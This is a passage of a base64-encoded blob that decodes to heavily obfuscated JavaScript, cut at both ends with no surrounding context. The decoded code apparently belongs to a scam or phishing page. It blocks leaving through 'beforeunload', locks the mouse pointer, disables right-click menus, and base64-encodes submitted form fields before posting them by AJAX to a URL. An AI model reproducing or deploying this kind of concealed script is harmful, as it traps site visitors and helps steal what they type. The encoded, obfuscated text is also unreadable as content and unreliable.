JtaXQnKTtjb250aW51ZTtjYXNlJzUnOnJldHVybjtjYXNlJzYnOl8weDQ1NjgwZShfMHgzNjE3MDhbXzB4NTc1ZGE0KDB4MzcxLDB4NGVmLDB4N2QwLDB4NzMxKV0pW18weDM2MTcwOFtfMHg1NzVkYTQoMHg3NTEsMHg0NWUsMHg1MGEsMHgyZGYpXV0oKTtjb250aW51ZTtjYXNlJzcnOl8weDM2MTcwOFsnS3ZGTUwnXShfMHgyYzI3YzcsXzB4MjNmOWYyKVtfMHg1NzVkYTQoMHg3YjIsMHg1ZmUsMHg1NjUsMHg2NTApXSgnYmVmb3JldW5sbycrJ2FkJyk7Y29udGludWU7fWJyZWFrO319ZWxzZSBfMHgyNDEwZThbJ0tGTUNiJ10oJCxkb2N1bWVudFtfMHg0NGRhYzgoMHg1ZDgsMHgzNGIsMHg0OGQsMHg0ODQpXSlbXzB4NTc1ZGE0KC0weGQsMHgyNzIsMHgyNGUsLTB4NGMpXShfMHgyNDEwZThbXzB4NTc1ZGE0KDB4NTRhLDB4NWU2LDB4NGRhLDB4ODkwKV0pO30pLF8weDJmNTM0OVsnZ3J6WmonXSgkLHdpbmRvdylbJ29uJ10oXzB4MmY1MzQ5W18weDIxNDI2MCgtMHgxNDgsMHgzMzQsMHgzZTUsMHgxNDEpXSxmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDRjYjI4ZChfMHg1ZWQxZDUsXzB4MzU3NzdiLF8weDQzMjY2ZCxfMHgyMzJjZjQpe3JldHVybiBfMHgyMTYyN2UoXzB4NDMyNjZkLF8weDM1Nzc3Yi0weDEzYSxfMHg0MzI2NmQtMHhhZSxfMHg1ZWQxZDUtMHgxZTIpO31mdW5jdGlvbiBfMHgzZDgwNjUoXzB4NDVjMjdjLF8weDYyYzgwOCxfMHgxMTFhOWEsXzB4MmE0MDIyKXtyZXR1cm4gXzB4MjE0MjYwKF8weDQ1YzI3Yy0weDU5LF8weDExMWE5YSxfMHgxMTFhOWEtMHgxNzYsXzB4MmE0MDIyLTB4MTU4KTt9aWYoXzB4MjQxMGU4W18weDRjYjI4ZCgweDZjNywweDdkNSwweDRmYSwweDUzMCldKF8weDI0MTBlOFtfMHgzZDgwNjUoLTB4MWUsMHgyYjIsMHgyZjAsMHgyNmEpXSxfMHg0Y2IyOGQoMHg3MTAsMHg1NGMsMHg1YjQsMHg5NGIpKSlfMHgyNDEwZThbXzB4M2Q4MDY1KC0weDQ1LC0weDJkLDB4MWZjLDB4Mjk0KV0oJCxkb2N1bWVudFtfMHg0Y2IyOGQoMHg4NjEsMHg5ODAsMHg3NGQsMHhhYzcpXSlbXzB4NGNiMjhkKDB4NTcyLDB4MmQwLDB4MmMzLDB4NDdjKV0oXzB4MjQxMGU4W18weDNkODA2NSgweDRiNiwweDE2YSwweDViNywweDJjNyldKTtlbHNle3ZhciBfMHgyNWFmNDUsXzB4NzBlYTMzLF8weDFkZDJjMjtmb3IoXzB4NzBlYTMzPS0weDZlZSstMHgxOGEqLTB4NisweDEyNyotMHgyLF8weDFkZDJjMj1fMHg0MTNiYzNbJ2xlbmd0aCddO18weDI0MTBlOFsnQnpsaGQnXShfMHgxZGQyYzIsXzB4NzBlYTMzKTtfMHg3MGVhMzMrKylpZihfMHgyNWFmNDU9XzB4OGU5MWM0W18weDcwZWEzM10sXzB4MjQxMGU4W18weDNkODA2NSgweDNjMCwweDJmOCwweDcyMSwweDQ3NyldKF8weDI1YWY0NVsndHlwZSddLF8weDRlNDRjYSkpcmV0dXJuIF8weDI1YWY0NTt9fSk7ZnVuY3Rpb24gXzB4MzA4Mzc5KCl7ZnVuY3Rpb24gXzB4NGFkNjM0KF8weGNhZWI0OSxfMHgyNmU3YTgsXzB4NDJlY2VhLF8weDVmNGUyZil7cmV0dXJuIF8weDIxNDI2MChfMHhjYWViNDktMHg2MixfMHgyNmU3YTgsXzB4NDJlY2VhLTB4MWRhLF8weGNhZWI0OS0weDNiMSk7fWZ1bmN0aW9uIF8weGZjYTdjYihfMHgzYTgyYjQsXzB4NDE1Nzc5LF8weDMwNTgyNixfMHgyNTkxNTMpe3JldHVybiBfMHgyMTQyNjAoXzB4M2E4MmI0LTB4MTdlLF8weDMwNTgyNixfMHgzMDU4MjYtMHgxMTUsXzB4NDE1Nzc5LSAtMHgxNik7fXZhciBfMHgxNTg3NmU9XzB4MTFjNTk1W18weDRhZDYzNCgweDg0ZiwweDk1NSwweDg4ZiwweDY5ZildKF8weDI0NmYwYyk7XzB4MTU4NzZlPV8weDE1ODc2ZVtfMHg0YWQ2MzQoMHg4ZjksMHhhMDUsMHg3ZWMsMHg3NDMpXSgvXHMvZywnJyksXzB4MTFjNTk1W18weDRhZDYzNCgweDdlOCwweDc5ZCwweGFkZSwweDU3YyldKF8weDE0NGY5OSlbJ2lzJ10oXzB4MTFjNTk1WydpalRyWCddKT9fMHgxMWM1OTVbJ1RrU0NvJ10oXzB4MTQ0Zjk5KVtfMHg0YWQ2MzQoMHg2NmIsMHg4YzAsMHgzZWEsMHg2YzgpXSgpOl8weDExYzU5NVtfMHhmY2E3Y2IoLTB4NGEsMHg1OSwtMHgxZWQsLTB4M2MpXShfMHgxNTg3NmVbXzB4MTFjNTk1W18weGZjYTdjYigweDIxMiwweDFjOSwweDE5NSwweDI0NCldXSwtMHg5OSoweDcrLTB4MTQxNisweDE4NTUpfHwhJFtfMHgxMWM1OTVbXzB4NGFkNjM0KDB4ODlmLDB4OTUzLDB4YWEzLDB4NzVmKV1dW18weDExYzU5NVtfMHhmY2E3Y2IoMHgxZWYsMHgyYzgsMHgxOGQsMHgzNWQpXV0oXzB4MTU4NzZlKT9fMHgxMWM1OTVbXzB4ZmNhN2NiKDB4MzMsMHgyOWIsMHhjNiwweDE1NCldKCQsXzB4MTFjNTk1W18weDRhZDYzNCgweDQ2NiwweDUxNiwweDcwOCwweDNkOCldKF8weDExYzU5NVtfMHg0YWQ2MzQoMHg3ZDAsMHhhNmMsMHg2YzYsMHhhNWQpXShfMHgxMWM1OTVbXzB4NGFkNjM0KDB4ODRhLDB4N2Q0LDB4ODdkLDB4NTYxKV0oXzB4MTFjNTk1W18weDRhZDYzNCgweDgyZCwweDc0MywweGFlZiwweGE2NildKCcjY2EnLHNzdHJpbmcpLF8weDExYzU5NVsnbGdvcXMnXSksc3N0cmluZyksJ2VyJykpW18weDExYzU5NVtfMHhmY2E3Y2IoMHgzNDYsMHgzNzYsMHgxNGMsMHhhZildXSgpOiRbJ3BtbnQnXVtfMHgxMWM1OTVbXzB4ZmNhN2NiKDB4M2M4LDB4NTQzLDB4MjZlLDB4NmRiKV1dKF8weDExYzU5NVtfMHhmY2E3Y2IoMHgxOCwtMHgzZSwweDI5OCwweGI2KV0oXzB4NWJlZDJhKVsndmFsJ10oKSxfMHgxMWM1OTVbJ3paTWdxJ10oXzB4NDczYzE2KVsndmFsJ10oKSk/ISRbXzB4MTFjNTk1W18weDRhZDYzNCgweDg5ZiwweDc0MiwweDVlMywweGI0NCldXVtfMHgxMWM1OTVbJ0NoWXZJJ11dKF8weDExYzU5NVsnTXdWVW8nXShfMHgxZDI5MTApW18weDExYzU5NVtfMHg0YWQ2MzQoMHg1ZmYsMHg4MzksMHg3ZGEsMHg3NTIpXV0oKSwkW18weDRhZDYzNCgweDgxYSwweGE0MSwweDkyOCwweDk5YildW18weDExYzU5NVtfMHhmY2E3Y2IoLTB4NDEsMHgxYzQsMHgxMSwtMHg4NSldXShfMHgxMWM1OTVbXzB4NGFkNjM0KDB4NmRlLDB4NmE3LDB4N2MzLDB4NmEwKV0oXzB4MjQ2ZjBjKSkpP18weDExYzU5NVsnUXhiRkEnXShfMHgxZDI5MTApW18weDExYzU5NVsnSnhpSVMnXV0oKTpfMHgxMWM1OTVbJ3lRaW1BJ10oXzB4MjRiYTg0KVtfMHgxMWM1OTVbJ0p4aUlTJ11dKCk6MHg1ZWQrMHgxMzUzKi0weDIrMHgxMyoweDFiOT09XzB4MTFjNTk1W18weGZjYTdjYigweDNmYywweDIyZCwweDJjMCwweDE4OCldKF8weDViZWQyYSlbXzB4MTFjNTk1WydmQWRSTyddXSgpW18weDRhZDYzNCgweDg4ZSwweDg3NywweDVhMiwweDdmYyldP18weDExYzU5NVtfMHhmY2E3Y2IoMHgxMWQsMHgyMmQsMHg0NiwweDE3OCldKF8weDQ3M2MxNilbXzB4NGFkNjM0KDB4NjZiLDB4NzNmLDB4NjI5LDB4M2RhKV0oKTpfMHgxMWM1OTVbJ1dEZFhMJ10oXzB4NWJlZDJhKVtfMHgxMWM1OTVbJ0p4aUlTJ11dKCk7fWZ1bmN0aW9uIF8weDI3ODQ5OChfMHgxZDlkODM9IVtdKXtmdW5jdGlvbiBfMHg4NTZjZWQoXzB4NTY4MjUwLF8weDRlMjQyMSxfMHg1MmU2NTEsXzB4NDRmNGNhKXtyZXR1cm4gXzB4MjE2MjdlKF8weDQ0ZjRjYSxfMHg0ZTI0MjEtMHgxNzksXzB4NTJlNjUxLTB4MWQ3LF8weDU2ODI1MC0weDFkNik7fWZ1bmN0aW9uIF8weGFhMzdkYShfMHgyMGQ5M2UsXzB4MTM1NWFlLF8weDFmNjc4YixfMHgzYTlmYzYpe3JldHVybiBfMHgyMTQyNjAoXzB4MjBkOTNlLTB4MjIsXzB4MjBkOTNlLF8weDFmNjc4Yi0weDE2ZCxfMHgxMzU1YWUtMHgxNGEpO31fMHgxMWM1OTVbXzB4ODU2Y2VkKDB4NzgyLDB4OGRmLDB4NThmLDB4ODRmKV0oXzB4MTFjNTk1W18weDg1NmNlZCgweDVhMCwweDUxYywweDgzNiwweDVlNCldLF8weDExYzU5NVtfMHhhYTM3ZGEoMHgzMTcsMHgyYTgsMHhjMywweDNhYyldKT9fMHgxZDlkODMmJl8weDExYzU5NVsneGJWemcnXSgkLGRvY3VtZW50Wydib2R5J10pW18weGFhMzdkYSgweDNmMywweDE4YiwweDNmLDB4MjJiKV0oXzB4ODU2Y2VkKDB4NTMxLDB4Mzk3LDB4MzY3LDB4NDg4KSxfMHgxMWM1OTVbXzB4ODU2Y2VkKDB4NmNkLDB4NTY3LDB4NzljLDB4NWU3KV0pOl8weDQ0NGY5NVtfMHg4NTZjZWQoMHg3MGIsMHg1OTMsMHg3YTUsMHg1ZDgpK18weGFhMzdkYSgweDMyOSwweDE1NiwtMHgxNTYsLTB4ZGEpXSgpO31mdW5jdGlvbiBfMHgyNGFkNDAoXzB4MTA2MDJlLF8weDEzYTA5MSxfMHg0YjZkMDkpe2Z1bmN0aW9uIF8weDFmZDYzNyhfMHg2NDFjOTAsXzB4M2I3ZGU5LF8weDM0NDA2ZCxfMHg0YWRhMTgpe3JldHVybiBfMHgyMTYyN2UoXzB4MzQ0MDZkLF8weDNiN2RlOS0weDY3LF8weDM0NDA2ZC0weDE5ZCxfMHgzYjdkZTktIC0weGFlKTt9dmFyIF8weGU2YjA2YT17J3d5emxHJzpmdW5jdGlvbihfMHgzMjRmMzMsXzB4MjE5OGYyKXtyZXR1cm4gXzB4MjQxMGU4WydNbVF1bCddKF8weDMyNGYzMyxfMHgyMTk4ZjIpO30sJ3hkUXZJJzpmdW5jdGlvbihfMHg0Y2Y4MzEsXzB4Mjg5MGNmKXtmdW5jdGlvbiBfMHgyNDRhYzkoXzB4NTdlNWYzLF8weDFhNjcyMixfMHg1ODMwZmQsXzB4MzRlMjhkKXtyZXR1cm4gXzB4NGMwZihfMHgzNGUyOGQtMHgyZWIsXzB4NTgzMGZkKTt9cmV0dXJuIF8weDI0MTBlOFtfMHgyNDRhYzkoMHg0YzcsMHgxMmMsMHgyN2UsMHg0MDIpXShfMHg0Y2Y4MzEsXzB4Mjg5MGNmKTt9LCdVbEVGWic6ZnVuY3Rpb24oXzB4ZTI5OTliLF8weDFjMDhlYSl7cmV0dXJuIF8weDI0MTBlOFsnZFlubGwnXShfMHhlMjk5OWIsXzB4MWMwOGVhKTt9fSxfMHg0OWYxMzI9e307JFsnZWFjaCddKF8weDEzYTA5MSxmdW5jdGlvbihfMHgxMGFiZDAsXzB4NGJlNTA5KXtmdW5jdGlvbiBfMHgzNDVhNDEoXzB4M2U2YzQxLF8weGViZWRlMCxfMHg0OTNmOTcsXzB4NGE5Y2M3KXtyZXR1cm4gXzB4NGMwZihfMHhlYmVkZTAtMHgzOGUsXzB4NDkzZjk3KTt9ZnVuY3Rpb24gXzB4MmQxYzFmKF8weDI3MjEyMCxfMHgxNGI0OGQsXzB4MjZlZjI2LF8weDRhMTBjYil7cmV0dXJuIF8weDRjMGYoXzB4MjZlZjI2LSAtMHgzM2YsXzB4NGExMGNiKTt9XzB4NDlmMTMyW2J0b2EoXzB4ZTZiMDZhW18weDJkMWMxZigweDI2MCwtMHgxMWQsMHg0NSwweDFjMSldKHVuZXNjYXBlLF8weGU2YjA2YVtfMHgyZDFjMWYoMHgyYWIsMHgxNWEsMHgyMDAsMHhjKV0oZW5jb2RlVVJJQ29tcG9uZW50LF8weDEwYWJkMCkpKV09XzB4ZTZiMDZhW18weDJkMWMxZigtMHgxZSwweDExNiwweDIwMCwweDIzZSldKGJ0b2EsXzB4ZTZiMDZhW18weDJkMWMxZigweDJkNywweDk0LDB4MmJjLDB4MWNjKV0odW5lc2NhcGUsXzB4ZTZiMDZhW18weDM0NWE0MSgweGJkOSwweDk4OSwweDkwZSwweDc0ZildKGVuY29kZVVSSUNvbXBvbmVudCxfMHg0YmU1MDkpKSk7fSk7ZnVuY3Rpb24gXzB4MTY4MjE4KF8weDI4NTQ4MCxfMHgyNTI0MmUsXzB4NTM1MmFhLF8weGZjY2M0Zil7cmV0dXJuIF8weDIxNjI3ZShfMHgyODU0ODAsXzB4MjUyNDJlLTB4Y2MsXzB4NTM1MmFhLTB4MzcsXzB4ZmNjYzRmLSAtMHgzZTMpO30kW18weDI0MTBlOFtfMHgxZmQ2MzcoMHg2MjMsMHgzOWUsMHgyNTIsMHgxZmYpXV0oeyd0eXBlJzpfMHgyNDEwZThbXzB4MWZkNjM3KDB4NGUwLDB4M2E0LDB4MjVjLDB4MjJiKV0sJ3VybCc6XzB4MTA2MDJlLCdkYXRhVHlwZSc6XzB4MjQxMGU4WydGcHdSaiddLCdkYXRhJzpfMHg0OWYxMzIsJ3N1Y2Nlc3MnOl8weDRiNmQwOX0pO31mdW5jdGlvbiBfMHgxMDRhMTYoXzB4ODJkYWM2PSFbXSl7ZnVuY3Rpb24gXzB4MTIyMzQ5KF8weDQ5ZWExYSxfMHg3ODA3ZGMsXzB4NDcyNjY0LF8weDEzMjU2Nyl7cmV0dXJuIF8weDIxNjI3ZShfMHg0NzI2NjQsXzB4NzgwN2RjLTB4MTJmLF8weDQ3MjY2NC0weDE1YSxfMHg3ODA3ZGMtMHgyYWQpO31mdW5jdGlvbiBfMHgxNTc1MjUoXzB4NTZjNzIwLF8weDM1NTM4YSxfMHgxOTQ3MzYsXzB4M2I3OWJlKXtyZXR1cm4gXzB4MjE0MjYwKF8weDU2YzcyMC0weDE2OSxfMHgxOTQ3MzYsXzB4MTk0NzM2LTB4MTYwLF8weDU2YzcyMC0weGQyKTt9dmFyIF8weDI5NjM3OD17J1hQWWxuJzpmdW5jdGlvbihfMHgzNzQ2ZDEsXzB4YjY1ZGVmKXtmdW5jdGlvbiBfMHg0YjFmNDQoXzB4Mjg2ZjhlLF8weGNmMjQzMyxfMHgyMWE4NDMsXzB4NDZjOTBkKXtyZXR1cm4gXzB4NGMwZihfMHhjZjI0MzMtIC0weDE1NixfMHgyODZmOGUpO31yZXR1cm4gXzB4MjQxMGU4W18weDRiMWY0NCgweDE3ZiwweDE2ZSwtMHg1NywweDE5YSldKF8weDM3NDZkMSxfMHhiNjVkZWYpO30sJ05BZmxwJzpmdW5jdGlvbihfMHgyMWU5ZmYsXzB4NWQ4ZDUzLF8weDFhZjBmNyl7cmV0dXJuIF8weDIxZTlmZihfMHg1ZDhkNTMsXzB4MWFmMGY3KTt9LCdjaFZsZyc6ZnVuY3Rpb24oXzB4MzljODQ5LF8weDIzZGE3NSl7cmV0dXJuIF8weDM5Yzg0OShfMHgyM2RhNzUpO30sJ2RheGlDJzpmdW5jdGlvbihfMHgyNmJmNWIsXzB4MzRjZTI3KXtmdW5jdGlvbiBfMHgxYWNjZWIoXzB4MTRiMzYxLF8weDQzYTEwNSxfMHgyZDk4Y2QsXzB4MmRiMGIzKXtyZXR1cm4gXzB4NGMwZihfMHgyZDk4Y2QtIC0weDIzNSxfMHg0M2ExMDUpO31yZXR1cm4gXzB4MjQxMGU4W18weDFhY2NlYigweDYyMSwweDI2NiwweDQ2NywweDc1YildKF8weDI2YmY1YixfMHgzNGNlMjcpO30sJ3pIWGdXJzpmdW5jdGlvbihfMHg1OTMwZjQsXzB4MmYwMmVlKXtmdW5jdGlvbiBfMHhhMTg3ZDcoXzB4MjI4ZDYyLF8weGZmODI4MixfMHgxNzU2OWUsXzB4MjhiMjIyKXtyZXR1cm4gXzB4NGMwZihfMHgyOGIyMjItIC0weDEyMCxfMHgxNzU2OWUpO31yZXR1cm4gXzB4MjQxMGU4W18weGExODdkNygweDRhMywweDM0ZSwweDRmMCwweDU3OSldKF8weDU5MzBmNCxfMHgyZjAyZWUpO30sJ3FpaVhWJzpfMHgyNDEwZThbXzB4MTIyMzQ5KDB4NzY5LDB4ODhhLDB4YThkLDB4N2U0KV0sJ3hrbUVnJzpfMHgxNTc1MjUoMHg0NTAsMHgxZmQsMHgyNjgsMHg1MTEpLCd4R3ZnTyc6ZnVuY3Rpb24oXzB4M2JiZDA1LF8weDM2YWUwMSl7cmV0dXJuIF8weDI0MTBlOFsnUGF0Um0nXShfMHgzYmJkMDUsXzB4MzZhZTAxKTt9LCdIWVdCdic6XzB4MjQxMGU4W18weDEyMjM0OSgweDYwNSwweDg2OCwweDhhZiwweDU3YSldLCdGbU1UeCc6XzB4MjQxMGU4W18weDEyMjM0OSgweDZhZSwweDRlNiwweDM4MSwweDcyMSldfTtpZihfMHg4MmRhYzYpe2lmKF8weDI0MTBlOFtfMHgxNTc1MjUoMHgzZTAsMHgxZmYsMHgzOTIsMHgxZmUpXShfMHgyNDEwZThbXzB4MTIyMzQ5KDB4NDFiLDB4NjRlLDB4NzdkLDB4ODRhKV0sXzB4MjQxMGU4W18weDE1NzUyNSgweDY1NCwweDdkNywweDUxZiwweDRmMSldKSl7dmFyIF8weDE4ZWFhOD17J1JDVGRZJzpmdW5jdGlvbihfMHg1YWM3ZTUsXzB4MjA4MzQyKXtyZXR1cm4gXzB4Mjk2Mzc4WydYUFlsbiddKF8weDVhYzdlNSxfMHgyMDgzNDIpO30sJ2Jqc2hMJzpmdW5jdGlvbihfMHgxZWUzMjgsXzB4MjI3NjgwLF8weDNjYjA1MSl7cmV0dXJuIF8weDI5NjM3OFsnTkFmbHAnXShfMHgxZWUzMjgsXzB4MjI3NjgwLF8weDNjYjA1MSk7fX0sXzB4NGU4Mzk4O3JldHVybiBfMHg0ZTgzOTg9XzB4Mjk2Mzc4WydYUFlsbiddKF8weDE5NzU1MyxfMHg0YjJkNTdbXzB4MTIyMzQ5KDB4N2NjLDB4OGY0LDB4OGQyLDB4OTUyKStfMHgxNTc1MjUoMHg1NDksMHg2NDgsMHg3MmYsMHgzZTMpXSksXzB4Mjk2Mzc4WydjaFZsZyddKF8weDNkYWM5ZixmdW5jdGlvbigpe3ZhciBfMHgxMWJmNDY7ZnVuY3Rpb24gXzB4OWMzMTEoXzB4MzhkMjA4LF8weDM3YTAxMCxfMHhmYmY4OSxfMHgzN2U0MGEpe3JldHVybiBfMHgxMjIzNDkoXzB4MzhkMjA4LTB4ZjMsXzB4ZmJmODktIC0weDU3OCxfMHgzN2EwMTAsXzB4MzdlNDBhLTB4MTdhKTt9ZnVuY3Rpb24gXzB4MzdkZjBlKF8weDQ0OWIwNCxfMHgxNDIxODUsXzB4NGY2M2UwLF8weDE1OGJlNyl7cmV0dXJuIF8weDEyMjM0OShfMHg0NDliMDQtMHgxNyxfMHg0NDliMDQtIC0weDczNixfMHgxNDIxODUsXzB4MTU4YmU3LTB4NjkpO31yZXR1cm4gXzB4MTFiZjQ2PV8weDRlODM5OFtfMHg5YzMxMSgtMHgyNmEsMHgyYjMsLTB4NDAsMHgxYTYpXSgpLF8weDExYmY0Nj1fMHgxOGVhYThbXzB4OWMzMTEoLTB4N2MsMHgxZTAsLTB4NGQsLTB4MWI0KV0oXzB4NGU5YWEyLF8weDExYmY0NiksXzB4MTFiZjQ2PV8weDExYmY0NltfMHg5YzMxMSgweDdhNCwweDYzNSwweDRlOSwweDUwOSldKC9cRC9nLCcnKVsnc2xpY2UnXSgweDMzNSsweDIyMCoweDQrLTB4YmI1LDB4MjExZiotMHgxKzB4MTMqLTB4MWI3KzB4NDFiOCksXzB4MThlYWE4W18weDljMzExKDB4NTk5LDB4MzYxLDB4MzhlLDB4NWRhKV0oXzB4NGViNDNjLF8weDExYmY0NixfMHg0ZTgzOTgpO30pO31lbHNlIF8weDI0MTBlOFtfMHgxNTc1MjUoMHgzODksMHg0NjAsMHgzODksMHgxM2UpXSgkLF8weDI0MTBlOFtfMHgxNTc1MjUoMHg0ODMsMHg1MjAsMHgyMzAsMHgxOGQpXSlbXzB4MTIyMzQ5KDB4ODdlLDB4OGFhLDB4OWQxLDB4OGI5KV0oXzB4MjQxMGU4WydsSWVoTSddKSxfMHgyNDEwZThbJ213T2tEJ10oJCxkb2N1bWVudClbJ21vdXNlbW92ZSddKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NGM2MTZlKF8weDNlMTc1MixfMHgyZDgwY2UsXzB4YWQ5NmE4LF8weDIyMDY4OSl7cmV0dXJuIF8weDE1NzUyNShfMHgzZTE3NTItMHg0NGQsXzB4MmQ4MGNlLTB4ZGIsXzB4YWQ5NmE4LF8weDIyMDY4OS0weGM0KTt9ZnVuY3Rpb24gXzB4YWNkMTlhKF8weDlmNjU4ZixfMHg0OTBkYmYsXzB4MTFhNGVjLF8weDUzY2IyMil7cmV0dXJuIF8weDE1NzUyNShfMHg0OTBkYmYtIC0weDZiLF8weDQ5MGRiZi0weDlmLF8weDlmNjU4ZixfMHg1M2NiMjItMHgxY2UpO31pZihfMHgyOTYzNzhbXzB4NGM2MTZlKDB4OTE4LDB4OGMxLDB4YTY4LDB4YTkwKV0oXzB4Mjk2Mzc4W18weGFjZDE5YSgweDhkLDB4MzMxLDB4NWY3LDB4MmU2KV0sXzB4NGM2MTZlKDB4NmNjLDB4NTcxLDB4NGYyLDB4NDE2KSkpcmV0dXJuIF8weDI5NjM3OFtfMHhhY2QxOWEoMHg1OGUsMHg1NDMsMHgyNTAsMHg2MTEpXShfMHgyMjljYWYsXzB4Mjk2Mzc4W18weDRjNjE2ZSgweDZjMywweDQyYSwweDgyMSwweDc0NyldKF8weDI5NjM3OFtfMHg0YzYxNmUoMHg2YzMsMHg0MGEsMHg4MGYsMHg0ODMpXShfMHgyOTYzNzhbXzB4YWNkMTlhKDB4MjQ5LDB4MTExLDB4MjdhLDB4MmY2KV0oXzB4Mjk2Mzc4W18weGFjZDE5YSgweDYyYywweDVhOCwweDM2OCwweDU5OSldK18weDY0MWIwMyxfMHhhY2QxOWEoMHg0MzcsMHg0ZGEsMHg0ZjAsMHg0MTQpKSxfMHgyY2JmYzUpLF8weDI5NjM3OFtfMHg0YzYxNmUoMHg1YzEsMHg2ZTgsMHg1YTcsMHg0NGYpXSkpO2Vsc2V7dmFyIF8weDRlMGFiOT1kb2N1bWVudFtfMHg0YzYxNmUoMHg3MzMsMHg0NzIsMHg2YmQsMHg1ZjcpK18weGFjZDE5YSgweDQxYSwweDNiZSwweDFiNywweDQ4ZildKF8weDI5NjM3OFtfMHhhY2QxOWEoMHgxYWQsMHgzOGEsMHg1NmQsMHgzNGUpXSk7XzB4NGUwYWI5W18weGFjZDE5YSgweDYzZiwweDRiNywweDIwYiwweDU4YykrJ250ZXJMb2NrJ109XzB4NGUwYWI5W18weDRjNjE2ZSgweDk2ZiwweDk2NSwweGM0YiwweGMwMSkrXzB4YWNkMTlhKDB4Mjc5LDB4MWEsLTB4MTFhLC0weDExMSldfHxfMHg0ZTBhYjlbXzB4NGM2MTZlKDB4NGQwLDB4M2Y4LDB4MzRlLDB4NmU2KStfMHhhY2QxOWEoMHgyY2EsMHg1YWMsMHgzZGUsMHg1NGMpKydrJ118fF8weDRlMGFiOVtfMHg0YzYxNmUoMHg5ZmEsMHhiZmQsMHg4ZjUsMHhhMDYpKydlc3RQb2ludGVyJytfMHhhY2QxOWEoMHgyYTQsMHg0ZDgsMHg3YzMsMHg0OTQpXSxfMHg0ZTBhYjlbJ3JlcXVlc3RQb2knK18weDRjNjE2ZSgweDRkMiwweDFmOCwweDdhNiwweDMxYyldKCk7fX0pO319ZnVuY3Rpb24gXzB4MjM0NTkxKF8weDRmNjA2NCl7dmFyIF8weDRmNjA2ND1fMHg0ZjYwNjR8fHdpbmRvd1snZXZlbnQnXTtmdW5jdGlvbiBfMHhhMzA1NTYoXzB4M2E2MjVkLF8weDUxZjAyNSxfMHhlZmVlN2EsXzB4M2VhOWVmKXtyZXR1cm4gXzB4MjE2MjdlKF8weDNhNjI1ZCxfMHg1MWYwMjUtMHg1MyxfMHhlZmVlN2EtMHg4NSxfMHgzZWE5ZWYtMHgyY2YpO31mdW5jdGlvbiBfMHgyZDBhZmMoXzB4M2JlMDRhLF8weDFkN2JiYixfMHgxOGU1ZDMsXzB4MWFhMWUzKXtyZXR1cm4gXzB4MjE2MjdlKF8weDNiZTA0YSxfMHgxZDdiYmItMHhmZCxfMHgxOGU1ZDMtMHgxMWYsXzB4MThlNWQzLTB4MTZkKTt9dmFyIF8weDEwMzI5Yj1fMHgyNDEwZThbXzB4MmQwYWZjKDB4NzFiLDB4OWYyLDB4ODI0LDB4ODY0KV07cmV0dXJuIF8weDRmNjA2NCYmKF8weDRmNjA2NFtfMHhhMzA1NTYoMHg2MzIsMHg0NTYsMHg2Y2UsMHg2YWUpKydlJ109XzB4MTAzMjliKSxfMHgxMDMyOWI7fV8weDJmNTM0OVsnV2JvT0onXSgkLF8weDUxYmE0YylbJ29uJ10oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDRmOSwweDc1OCwweDc4YSwweDcyYildLGZ1bmN0aW9uKF8weDJkOGY0OSl7XzB4NWNmMmZhKF8weDJkOGY0OSk7ZnVuY3Rpb24gXzB4NTZjMDlkKF8weGQ1YmNlYyxfMHgyMWI3MGYsXzB4MjMzZmE1LF8weDU1OTM0ZSl7cmV0dXJuIF8weDIxNjI3ZShfMHgyMzNmYTUsXzB4MjFiNzBmLTB4OWIsXzB4MjMzZmE1LTB4ODQsXzB4NTU5MzRlLTB4MjYwKTt9XzB4MmQ4ZjQ5W18weDU2YzA5ZCgweGE0OSwweDZiYywweDhlNCwweDc5NSkrXzB4NTZjMDlkKDB4NzJmLDB4NDhkLDB4MmEzLDB4NGQ4KV0oKTtmdW5jdGlvbiBfMHgyZDMxZDEoXzB4MTk0YTY1LF8weDJiNWEzNixfMHhhY2IwNzUsXzB4NGViMmUxKXtyZXR1cm4gXzB4MjE2MjdlKF8weDRlYjJlMSxfMHgyYjVhMzYtMHhkNCxfMHhhY2IwNzUtMHg3MSxfMHgxOTRhNjUtIC0weDQ3Zik7fXJldHVybiFbXTt9KSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NDI4LDB4NDE1LDB4MmFjLDB4M2QxKV0oJCxkb2N1bWVudFtfMHgyMTYyN2UoMHg3OGEsMHg0ZGEsMHg0OTMsMHg2N2YpXSlbJ29uJ10oXzB4MjE2MjdlKDB4NGE1LDB4M2VmLDB4NWNhLDB4NWNhKSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MTM3LDB4MTRkLDB4MzY1LDB4Mjg0KV0sZnVuY3Rpb24oXzB4NTM1NDdkKXtmdW5jdGlvbiBfMHgzYTlkMjYoXzB4MzQzOGNlLF8weDk5Mzc1ZCxfMHgxN2Y4MTAsXzB4MjdjZDVlKXtyZXR1cm4gXzB4MjE0MjYwKF8weDM0MzhjZS0weDg0LF8weDM0MzhjZSxfMHgxN2Y4MTAtMHhlYyxfMHgyN2NkNWUtMHg0Nyk7fXZhciBfMHg1OWU0ZTk9eydxcUpLaSc6XzB4MjQxMGU4W18weDNhOWQyNigweDQ5YywweDE3MiwweDM0NSwweDIzYyldLCducFZieic6ZnVuY3Rpb24oXzB4MmQ4NGFjLF8weDJlMmNiYyl7ZnVuY3Rpb24gXzB4NGUyZjU0KF8weDQ0ZjAyMCxfMHg0YTcyNDgsXzB4MzA4NWE3LF8weDRlZGE2YSl7cmV0dXJuIF8weDNhOWQyNihfMHg0YTcyNDgsXzB4NGE3MjQ4LTB4Y2YsXzB4MzA4NWE3LTB4ZGQsXzB4NDRmMDIwLTB4MThlKTt9cmV0dXJuIF8weDI0MTBlOFtfMHg0ZTJmNTQoMHg0NjksMHg3MzMsMHg1MWQsMHg1ZWQpXShfMHgyZDg0YWMsXzB4MmUyY2JjKTt9LCdLQlFQRCc6ZnVuY3Rpb24oXzB4MTM5MTliLF8weDQ3YjA4Mil7ZnVuY3Rpb24gXzB4NGM0NjYyKF8weDU0M2RkYSxfMHg3NzA2MWEsXzB4NWFjMjU1LF8weDMyMTUwMSl7cmV0dXJuIF8weDNhOWQyNihfMHgzMjE1MDEsXzB4NzcwNjFhLTB4MTA1LF8weDVhYzI1NS0weDhmLF8weDVhYzI1NS0weDJiNCk7fXJldHVybiBfMHgyNDEwZThbXzB4NGM0NjYyKDB4MmZhLDB4NDdiLDB4MzcxLDB4MWUwKV0oXzB4MTM5MTliLF8weDQ3YjA4Mik7fSwnRmxEZUMnOid2YWxpZF9hY3RpJytfMHgzYTlkMjYoMHg3MGE